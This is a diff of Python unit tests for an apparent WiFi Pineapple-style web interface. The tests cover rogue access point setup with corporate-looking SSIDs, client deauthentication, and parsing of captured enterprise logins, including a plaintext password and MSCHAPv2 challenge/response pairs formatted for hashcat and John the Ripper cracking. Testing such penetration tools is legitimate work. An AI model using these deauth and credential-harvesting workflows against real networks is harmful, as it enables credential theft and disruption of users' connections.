result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
|
||||
self.assertTrue(result['ok'])
|
||||
self.assertEqual(result['mode'], 'sae-mixed')
|
||||
self.assertIn('uci set wireless.wlan1up.ieee80211w=1', self.cmds)
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,367 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class ChannelBandTest(unittest.TestCase):
|
||||
def test_2g_channels(self):
|
||||
for ch in (1, 6, 11, 14):
|
||||
self.assertEqual(server.channel_band(ch), server.BAND_2G)
|
||||
|
||||
def test_5g_channels(self):
|
||||
for ch in (36, 48, 100, 149, 165, 177):
|
||||
self.assertEqual(server.channel_band(ch), server.BAND_5G)
|
||||
|
||||
def test_6g_channels(self):
|
||||
for ch in (181, 189, 197, 205, 213, 225, 233):
|
||||
self.assertEqual(server.channel_band(ch), server.BAND_6G)
|
||||
|
||||
def test_invalid(self):
|
||||
for ch in (0, 15, 17, 21, 33, 35, 178, 234, None, 'x'):
|
||||
self.assertIsNone(server.channel_band(ch))
|
||||
|
||||
|
||||
class ChannelBandsConsistencyTest(unittest.TestCase):
|
||||
def test_lists_match_channel_band(self):
|
||||
for band, channels in server.CHANNEL_BANDS.items():
|
||||
for ch in channels:
|
||||
self.assertEqual(server.channel_band(ch), band, '%s should be %s' % (ch, band))
|
||||
|
||||
def test_no_out_of_list_channels(self):
|
||||
for ch in list(range(0, 235)):
|
||||
band = server.channel_band(ch)
|
||||
if band is not None:
|
||||
self.assertIn(ch, server.CHANNEL_BANDS[band], '%s should be listed for %s' % (ch, band))
|
||||
|
||||
def test_boundaries(self):
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_2G][-1], 14)
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_5G][-1], 177)
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][0], 181)
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][-1], 233)
|
||||
|
||||
|
||||
class ChannelFreqTest(unittest.TestCase):
|
||||
def test_freqs(self):
|
||||
self.assertEqual(server.channel_freq(server.BAND_2G, 1), 2412)
|
||||
self.assertEqual(server.channel_freq(server.BAND_2G, 11), 2462)
|
||||
self.assertEqual(server.channel_freq(server.BAND_5G, 36), 5180)
|
||||
self.assertEqual(server.channel_freq(server.BAND_5G, 165), 5825)
|
||||
self.assertEqual(server.channel_freq(server.BAND_6G, 1), 5955)
|
||||
self.assertEqual(server.channel_freq(server.BAND_6G, 233), 7115)
|
||||
|
||||
|
||||
class BandAuxTest(unittest.TestCase):
|
||||
def test_htmode(self):
|
||||
self.assertEqual(server.band_htmode(server.BAND_2G), 'HT20')
|
||||
self.assertEqual(server.band_htmode(server.BAND_5G), 'VHT80')
|
||||
self.assertEqual(server.band_htmode(server.BAND_6G), 'HE80')
|
||||
|
||||
def test_radio(self):
|
||||
self.assertEqual(server.band_radio(server.BAND_2G), 'radio0')
|
||||
self.assertEqual(server.band_radio(server.BAND_5G), 'radio1')
|
||||
self.assertEqual(server.band_radio(server.BAND_6G), 'radio1')
|
||||
|
||||
def test_dfs_marker(self):
|
||||
for ch in (52, 64, 100, 144):
|
||||
self.assertIn(ch, server.DFS_CHANNELS)
|
||||
for ch in (36, 48, 149):
|
||||
self.assertNotIn(ch, server.DFS_CHANNELS)
|
||||
self.assertEqual(set(server.DFS_CHANNELS),
|
||||
set(range(52, 65, 4)) | set(range(100, 145, 4)))
|
||||
|
||||
|
||||
def ctx(body=None):
|
||||
return type('C', (), {'body': body, 'args': (), 'query': {}})()
|
||||
|
||||
|
||||
class GetApRadio1Test(unittest.TestCase):
|
||||
def _uci(self, section):
|
||||
table = {
|
||||
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
|
||||
'htmode': 'HT20', 'country': 'US'},
|
||||
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
|
||||
'htmode': 'VHT80', 'country': 'US'},
|
||||
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none',
|
||||
'channel': '11'},
|
||||
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
|
||||
'channel': '1', 'key': 'testpass123'},
|
||||
'wlan1open': {'device': 'radio1', 'mode': 'ap', 'ssid': 'CorpGuest',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none',
|
||||
'channel': '36'},
|
||||
'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'sae',
|
||||
'channel': '1', 'key': 'secret123'},
|
||||
}
|
||||
return dict(table.get(section, {}))
|
||||
|
||||
def setUp(self):
|
||||
server._uci_wifi_iface = lambda name: self._uci(name)
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
|
||||
def test_open_reports_radio1_when_present(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radio1_open']['ssid'], 'CorpGuest')
|
||||
self.assertEqual(payload['radio1_open']['channel'], 36)
|
||||
self.assertEqual(payload['radio1_open']['country'], 'US')
|
||||
# radio0 cards keep reporting radio0 truth
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
|
||||
def test_wpa_reports_radio1_when_present(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radio1_wpa']['ssid'], 'Corp')
|
||||
self.assertEqual(payload['radio1_wpa']['enctype'], 'sae')
|
||||
self.assertEqual(payload['radio1_wpa']['channel'], 1)
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Service')
|
||||
|
||||
def test_radio1_info(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radios']['radio1']['band'], server.BAND_5G)
|
||||
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['radios']['radio0']['band'], server.BAND_2G)
|
||||
|
||||
|
||||
class GetApRadio1AbsentTest(unittest.TestCase):
|
||||
"""Regression: no radio1 AP sections -> today's 2.4GHz behavior."""
|
||||
|
||||
def _uci(self, section):
|
||||
table = {
|
||||
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
|
||||
'htmode': 'HT20', 'country': 'US'},
|
||||
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
|
||||
'htmode': 'VHT80', 'country': 'US'},
|
||||
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none',
|
||||
'channel': '11'},
|
||||
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
|
||||
'channel': '1', 'key': 'testpass123'},
|
||||
}
|
||||
return dict(table.get(section, {}))
|
||||
|
||||
def setUp(self):
|
||||
server._uci_wifi_iface = lambda name: self._uci(name)
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
|
||||
def test_open_uses_wlan0open(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
self.assertEqual(payload['open']['channel'], 11)
|
||||
|
||||
def test_wpa_uses_wlan0wpa(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Service')
|
||||
self.assertEqual(payload['wpa']['channel'], 1)
|
||||
|
||||
|
||||
class SetApRadio1Test(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.uci = {}
|
||||
self.runs = []
|
||||
|
||||
def fake_uci_get(section):
|
||||
return self.uci.get(section)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (0, self.uci.get(a[2], '') + '\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
server._uci_wifi_iface = fake_uci_get
|
||||
server._uci_section = fake_uci_get
|
||||
server.device_run = fake_run
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
200, {'success': True})
|
||||
|
||||
def test_5g_open_writes_radio1_sections(self):
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 36, 'country': 'US'}}))
|
||||
self.assertEqual(self.uci['wireless.radio1.band'], '5g')
|
||||
self.assertEqual(self.uci['wireless.radio1.channel'], '36')
|
||||
self.assertEqual(self.uci['wireless.radio1.htmode'], 'VHT80')
|
||||
self.assertEqual(self.uci['wireless.wlan1open'], 'wifi-iface')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.device'], 'radio1')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.disabled'], '0')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.ssid'], 'CorpGuest')
|
||||
self.assertEqual(self.uci['wireless.wlan1open.encryption'], 'none')
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
|
||||
self.assertIn(['wifi', 'reload'], [r[0] for r in self.runs])
|
||||
self.assertIn(['/etc/init.d/pineapd', 'reload'], [r[0] for r in self.runs])
|
||||
|
||||
def test_6g_wpa_sae(self):
|
||||
server.h_pineap_wifi_set_ap(ctx({'wpa': {
|
||||
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
|
||||
'hidden': False, 'enabled': True, 'channel': 181}}))
|
||||
self.assertEqual(self.uci['wireless.radio1.band'], '6g')
|
||||
self.assertEqual(self.uci['wireless.radio1.htmode'], 'HE80')
|
||||
self.assertEqual(self.uci['wireless.wlan1wpa.encryption'], 'sae')
|
||||
|
||||
def test_6g_rejects_psk2(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
|
||||
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True, 'channel': 181}}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_6g_open_rejected(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 181, 'country': 'US'}}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('6GHz', payload['error'])
|
||||
|
||||
def test_6g_disable_removes_radio1(self):
|
||||
self.uci['pineapd.wlan1mon.hop'] = '0'
|
||||
self.uci['wlan1wpa'] = {'device': 'radio1'}
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'wpa': {
|
||||
'ssid': 'Corp', 'passphrase': 'secret123', 'enctype': 'sae',
|
||||
'hidden': False, 'enabled': False, 'channel': 181}}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.uci['wireless.radio1.channel'], 'auto')
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
|
||||
|
||||
def test_5g_open_rejects_bad_bssid(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'bssid': 'not-a-mac', 'hidden': False,
|
||||
'enabled': True, 'channel': 36, 'country': 'US'}}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_hop_read_failure_still_pauses(self):
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (1, '', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 36, 'country': 'US'}}))
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '0')
|
||||
|
||||
def test_2g_still_uses_daemon_path(self):
|
||||
calls = []
|
||||
|
||||
def fake_sock(method, path, body=None, timeout=10):
|
||||
if method == 'GET':
|
||||
return 200, {'loghandshake': True}
|
||||
calls.append((method, path, body))
|
||||
return 200, {'success': True}
|
||||
|
||||
server.daemon_sock_call = fake_sock
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
|
||||
'channel': 11, 'country': 'US'}}))
|
||||
put = [c for c in calls if c[0] == 'PUT']
|
||||
self.assertEqual(len(put), 1)
|
||||
self.assertEqual(put[0][1], '/api/settings/wifi/set_ap')
|
||||
self.assertEqual(put[0][2]['configs'][0]['interface'], 'wlan0open')
|
||||
|
||||
def test_2g_removes_existing_radio1(self):
|
||||
self.uci['pineapd.wlan1mon.hop'] = '0'
|
||||
self.uci['wlan1open'] = {'device': 'radio1'}
|
||||
server.h_pineap_wifi_set_ap(ctx({'open': {
|
||||
'ssid': 'pager-open', 'hidden': False, 'enabled': True,
|
||||
'channel': 11, 'country': 'US'}}))
|
||||
self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
|
||||
self.assertEqual(self.uci.get('wireless.radio1.channel'), 'auto')
|
||||
|
||||
def test_mixed_24g_and_radio1_rejected(self):
|
||||
status, payload = server.h_pineap_wifi_set_ap(ctx({
|
||||
'open': {'ssid': 'CorpGuest', 'hidden': False, 'enabled': True,
|
||||
'channel': 36, 'country': 'US'},
|
||||
'wpa': {'ssid': 'Office', 'passphrase': 'secret123', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True, 'channel': 6}}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('2.4GHz', payload['error'])
|
||||
|
||||
|
||||
class GetApRadioChannelFallbackTest(unittest.TestCase):
|
||||
"""Regression: iface without a channel option inherits the radio channel."""
|
||||
|
||||
def _uci(self, section):
|
||||
table = {
|
||||
'radio0': {'type': 'wifi-device', 'band': '2g', 'channel': '11',
|
||||
'htmode': 'HT20', 'country': 'US'},
|
||||
'radio1': {'type': 'wifi-device', 'band': '5g', 'channel': 'auto',
|
||||
'htmode': 'VHT80', 'country': 'US'},
|
||||
'wlan0open': {'device': 'radio0', 'mode': 'ap', 'ssid': 'pager-open',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'none'},
|
||||
'wlan0wpa': {'device': 'radio0', 'mode': 'ap', 'ssid': 'Service',
|
||||
'disabled': '0', 'hidden': '0', 'encryption': 'psk2',
|
||||
'key': 'testpass123'},
|
||||
}
|
||||
return dict(table.get(section, {}))
|
||||
|
||||
def setUp(self):
|
||||
server._uci_wifi_iface = lambda name: self._uci(name)
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
|
||||
def test_open_falls_back_to_radio_channel(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['open']['channel'], 11)
|
||||
|
||||
def test_wpa_falls_back_to_radio_channel(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa']['channel'], 11)
|
||||
|
||||
|
||||
class GetApReconcileTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
server._last_reconcile = 0.0
|
||||
self.uci = {'wlan1wpa': {'device': 'radio1', 'mode': 'ap', 'ssid': 'Corp',
|
||||
'disabled': '0', 'encryption': 'sae', 'channel': '36'}}
|
||||
self.runs = []
|
||||
server._uci_wifi_iface = lambda name: dict(self.uci.get(name, {}))
|
||||
server._uci_section = lambda name: {}
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (
|
||||
404, {'error': 'not found'})
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (
|
||||
self.runs.append(list(args)) or (0, '', ''))
|
||||
|
||||
def test_missing_netdev_triggers_wifi_reload(self):
|
||||
server.os.path.exists = lambda p: False
|
||||
server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertIn(['wifi', 'reload'], self.runs)
|
||||
|
||||
def test_present_netdev_skips_reload(self):
|
||||
server.os.path.exists = lambda p: True
|
||||
server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||
|
||||
def test_disabled_section_skips_reload(self):
|
||||
self.uci['wlan1wpa']['disabled'] = '1'
|
||||
server.os.path.exists = lambda p: False
|
||||
server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -9,8 +9,10 @@ import server
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
_orig_hak5 = server.hak5
|
||||
_orig_device_run = server.device_run
|
||||
_orig_assoc_clients = server.assoc_clients
|
||||
_orig_iface_ap_info = server._iface_ap_info
|
||||
_orig_pineap = server._pineap
|
||||
|
||||
|
||||
class NormalizeTest(unittest.TestCase):
|
||||
@@ -24,8 +26,10 @@ class NormalizeTest(unittest.TestCase):
|
||||
|
||||
class ClientsTest(unittest.TestCase):
|
||||
def tearDown(self):
|
||||
server.hak5 = _orig_hak5
|
||||
server.device_run = _orig_device_run
|
||||
server.assoc_clients = _orig_assoc_clients
|
||||
server._iface_ap_info = _orig_iface_ap_info
|
||||
server._pineap = _orig_pineap
|
||||
|
||||
def test_clients_handler(self):
|
||||
server.assoc_clients = lambda: [{'mac': 'AA:BB:CC:DD:EE:FF', 'iface': 'wlan0open', 'rssi': -55}]
|
||||
@@ -35,15 +39,37 @@ class ClientsTest(unittest.TestCase):
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['count'], 1)
|
||||
|
||||
def test_kick_validates_and_deny_adds(self):
|
||||
def _kick_env(self):
|
||||
calls = []
|
||||
def fake(*args):
|
||||
calls.append(args)
|
||||
return 'ok'
|
||||
server.hak5 = fake
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan0open', 'rssi': -55}]
|
||||
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 6)
|
||||
server._pineap = lambda *a, **k: (0, '', '')
|
||||
return calls
|
||||
|
||||
def test_kick_validates_and_deny_adds(self):
|
||||
calls = self._kick_env()
|
||||
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertIn(('PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'), calls)
|
||||
self.assertTrue(any(c[0] == 'PINEAPPLE_DEAUTH_CLIENT' for c in calls))
|
||||
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
|
||||
# The immediate deauth must use the full bssid/target/channel form.
|
||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'00:11:22:33:44:55'] and c[4] == '6' for c in calls))
|
||||
|
||||
def test_kick_not_associated_still_filters(self):
|
||||
calls = []
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: []
|
||||
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIs(payload['deauth'], False)
|
||||
self.assertTrue(any(c == [server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny',
|
||||
'00:11:22:33:44:55'] for c in calls))
|
||||
|
||||
def test_kick_bad_mac_400(self):
|
||||
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': 'x'}})())
|
||||
@@ -51,12 +77,22 @@ class ClientsTest(unittest.TestCase):
|
||||
|
||||
def test_deauth_client(self):
|
||||
calls = []
|
||||
def fake(*args):
|
||||
calls.append(args)
|
||||
return 'ok'
|
||||
server.hak5 = fake
|
||||
server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(calls[0][0], 'PINEAPPLE_DEAUTH_CLIENT')
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan1wpa', 'rssi': -60}]
|
||||
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 149)
|
||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 200)
|
||||
# 5 GHz client -> wlan1mon inject, no _pineap pin needed.
|
||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'00:11:22:33:44:55'] and c[4] == '149' for c in calls))
|
||||
|
||||
def test_deauth_client_not_associated_502(self):
|
||||
server.assoc_clients = lambda: []
|
||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 502)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
@@ -10,34 +13,217 @@ def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class EnterpriseTest(unittest.TestCase):
|
||||
SCHEMA = '''
|
||||
CREATE TABLE hostap_basic(id INTEGER PRIMARY KEY, scan INT, time INT, type TEXT,
|
||||
identity TEXT, password TEXT, verified INT NOT NULL DEFAULT 0);
|
||||
CREATE TABLE hostap_chalresp(id INTEGER PRIMARY KEY, scan INT, time INT, type TEXT,
|
||||
username TEXT, challenge BLOB, response BLOB,
|
||||
verified INT NOT NULL DEFAULT 0);
|
||||
CREATE TABLE hostap_client(id INTEGER PRIMARY KEY, scan INT, hash INT, mac TEXT, ssid BLOB,
|
||||
connected_time INT, disconnected_time INT);
|
||||
'''
|
||||
|
||||
|
||||
class EnterpriseApiTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self._orig_rows = server._db_rows
|
||||
self._orig_write = server._db_write
|
||||
|
||||
def tearDown(self):
|
||||
server._db_rows = self._orig_rows
|
||||
server._db_write = self._orig_write
|
||||
|
||||
def test_basic_rows(self):
|
||||
server._db_rows = lambda db, sql: [{'time': 1, 'username': 'a', 'password': 'b'}]
|
||||
status, payload = server.h_enterprise_data(type('C', (), {'args': ('basic',)})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['table'], 'hostap_basic')
|
||||
self.assertEqual(payload['rows'][0]['username'], 'a')
|
||||
self.assertEqual(payload['rows'][0]['identity'], 'a')
|
||||
|
||||
def test_challenge_rows(self):
|
||||
def test_challenge_rows_empty(self):
|
||||
server._db_rows = lambda db, sql: []
|
||||
status, payload = server.h_enterprise_data(type('C', (), {'args': ('challenge',)})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['table'], 'hostap_chalresp')
|
||||
self.assertEqual(payload['rows'], [])
|
||||
|
||||
def test_unknown_table(self):
|
||||
status, payload = server.h_enterprise_data(type('C', (), {'args': ('nope',)})())
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_clear(self):
|
||||
def test_clear_uses_chalresp_table(self):
|
||||
calls = []
|
||||
server._db_write = lambda db, sql: calls.append(sql)
|
||||
status, payload = server.h_enterprise_clear(type('C', (), {'body': {'table': 'challenge'}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(any('hostap_challenge' in s for s in calls))
|
||||
self.assertTrue(any('hostap_chalresp' in s for s in calls))
|
||||
self.assertFalse(any('hostap_challenge' in s for s in calls))
|
||||
|
||||
def test_clear_all(self):
|
||||
calls = []
|
||||
server._db_write = lambda db, sql: calls.append(sql)
|
||||
status, payload = server.h_enterprise_clear(type('C', (), {'body': {'table': 'all'}})())
|
||||
self.assertEqual(status, 200)
|
||||
joined = ' '.join(calls)
|
||||
self.assertIn('hostap_basic', joined)
|
||||
self.assertIn('hostap_chalresp', joined)
|
||||
|
||||
def test_clear_unknown_table(self):
|
||||
status, payload = server.h_enterprise_clear(type('C', (), {'body': {'table': 'nope'}})())
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
|
||||
class EnterpriseHashFormatTest(unittest.TestCase):
|
||||
def test_blob_to_hex_bytes_and_hex_string(self):
|
||||
self.assertEqual(server._blob_to_hex(b'\x11\x22\x33\x44'), '11223344')
|
||||
self.assertEqual(server._blob_to_hex('AABBCCDD'), 'aabbccdd')
|
||||
self.assertEqual(server._blob_to_hex("X'AABB'"), 'aabb')
|
||||
self.assertEqual(server._blob_to_hex('\\xde\\xad'), 'dead')
|
||||
|
||||
def test_hashcat_5500_and_john(self):
|
||||
chal = '1122334455667788'
|
||||
resp = '00112233445566778899aabbccddeeff0011223344556677'
|
||||
self.assertEqual(
|
||||
server._mschap_hashcat_5500('bob', chal, resp),
|
||||
'bob::::00112233445566778899aabbccddeeff0011223344556677:1122334455667788')
|
||||
self.assertEqual(
|
||||
server._mschap_john('bob', chal, resp),
|
||||
'bob:$NETNTLM$1122334455667788$00112233445566778899aabbccddeeff0011223344556677')
|
||||
|
||||
def test_format_chalresp_row_hexes_blobs_and_is_json_safe(self):
|
||||
row = server._format_chalresp_row({
|
||||
'time': 1700000000,
|
||||
'username': 'alice',
|
||||
'type': 'MSCHAPV2',
|
||||
'challenge': bytes.fromhex('1122334455667788'),
|
||||
'response': bytes.fromhex('00112233445566778899aabbccddeeff0011223344556677'),
|
||||
'verified': 0,
|
||||
})
|
||||
self.assertEqual(row['challenge'], '1122334455667788')
|
||||
self.assertEqual(row['response'], '00112233445566778899aabbccddeeff0011223344556677')
|
||||
self.assertIn('alice::::', row['hashcat'])
|
||||
self.assertIn(':$NETNTLM$', row['john'])
|
||||
json.dumps(row)
|
||||
|
||||
|
||||
class EnterpriseLogParseTest(unittest.TestCase):
|
||||
def test_parse_wpe_mschapv2_and_identity(self):
|
||||
log = (
|
||||
"mschapv2: Wed Aug 19 21:00:00 2026\n"
|
||||
" username: bob\n"
|
||||
" challenge: 11:22:33:44:55:66:77:88\n"
|
||||
" response: 00112233445566778899aabbccddeeff0011223344556677\n"
|
||||
"hashcat NETNTLM: bob::::00112233445566778899aabbccddeeff0011223344556677:1122334455667788\n"
|
||||
"EAP-Identity 'alice@corp.local'\n"
|
||||
"GTC: username: carol password: hunter2\n"
|
||||
)
|
||||
items = server._parse_ent_log(log)
|
||||
kinds = [i['kind'] for i in items]
|
||||
self.assertIn('mschapv2', kinds)
|
||||
self.assertIn('eap-identity', kinds)
|
||||
self.assertIn('gtc', kinds)
|
||||
mschap = [i for i in items if i['kind'] == 'mschapv2'][0]
|
||||
self.assertEqual(mschap['username'], 'bob')
|
||||
self.assertIn('bob::::', mschap['hashcat'])
|
||||
gtc = [i for i in items if i['kind'] == 'gtc'][0]
|
||||
self.assertEqual(gtc['password'], 'hunter2')
|
||||
|
||||
|
||||
class EnterpriseCaptureDbTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
fd, self.db = tempfile.mkstemp(suffix='.db')
|
||||
os.close(fd)
|
||||
conn = sqlite3.connect(self.db)
|
||||
conn.executescript(SCHEMA)
|
||||
chal = bytes.fromhex('1122334455667788')
|
||||
resp = bytes.fromhex('00112233445566778899aabbccddeeff0011223344556677')
|
||||
conn.execute(
|
||||
"INSERT INTO hostap_basic (id, scan, time, type, identity, password, verified) "
|
||||
"VALUES (1, 1, 1700000001, 'PEAP', 'bob', '', 0)")
|
||||
conn.execute(
|
||||
"INSERT INTO hostap_chalresp (id, scan, time, type, username, challenge, response, verified) "
|
||||
"VALUES (1, 1, 1700000002, 'MSCHAPV2', 'bob', ?, ?, 0)", (chal, resp))
|
||||
conn.execute(
|
||||
"INSERT INTO hostap_client (id, scan, hash, mac, ssid, connected_time, disconnected_time) "
|
||||
"VALUES (1, 1, 1, 'AABBCCDDEEFF', X'436F7270', 1700000003, NULL)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
self.old_db = server.RECON_DB
|
||||
server.RECON_DB = self.db
|
||||
|
||||
def tearDown(self):
|
||||
server.RECON_DB = self.old_db
|
||||
try:
|
||||
